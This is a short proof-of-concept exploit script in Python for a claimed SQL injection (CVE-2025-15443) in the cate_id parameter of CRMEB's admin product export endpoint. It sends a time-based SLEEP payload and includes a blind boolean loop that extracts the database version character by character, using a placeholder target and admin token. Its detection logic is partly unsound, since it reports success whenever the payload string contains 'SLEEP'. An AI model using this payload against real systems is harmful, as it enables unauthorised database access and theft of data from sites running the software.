CVE-2025-15443 CRMEB产品导出模块SQL注入漏洞

# CVE-2025-15443 SQL Injection PoC # Target: CRMEB <= 5.6.1 # Endpoint: /adminapi/product/product_export # Authentication: High privileges required import requests import json TARGET_URL = "http://target.com/adminapi/product/product_export" # Replace with actual admin token HEADERS = { "Authorization": "Bearer YOUR_ADMIN_TOKEN", "Content-Type": "application/x-www-form-urlencoded" } def sql_injection_test(): """Test for SQL injection in cate_id parameter""" # Basic SQL injection test payload payload = { "cate_id": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -", "page": "1", "limit": "10" } print(f"[*] Testing CVE-2025-15443 on {TARGET_URL}") print(f"[*] Payload: {payload}") try: response = requests.post(TARGET_URL, data=payload, headers=HEADERS, timeout=10) if response.status_code == 200: print(f"[+] Response received: {response.text}") # Check for time-based injection response if "SLEEP" in payload.get("cate_id", ""): print("[+] Possible SQL injection detected!") return True except requests.exceptions.Timeout: print("[+] Time-based SQL injection confirmed! Request timed out as expected.") return True except Exception as e: print(f"[-] Error: {e}") return False def blind_sql_extract(): """Extract database version using blind SQL injection""" chars = 'abcdefghijklmnopqrstuvwxyz0123456789@._' result = "" for i in range(1, 50): for char in chars: payload = { "cate_id": f"1' AND SUBSTRING((SELECT VERSION()),{i},1)='{char}'-- -", "page": "1", "limit": "10" } try: response = requests.post(TARGET_URL, data=payload, headers=HEADERS, timeout=5) if response.status_code == 200 and "data" in response.text: result += char print(f"[*] Extracted: {result}") break except: pass return result if __name__ == "__main__": sql_injection_test()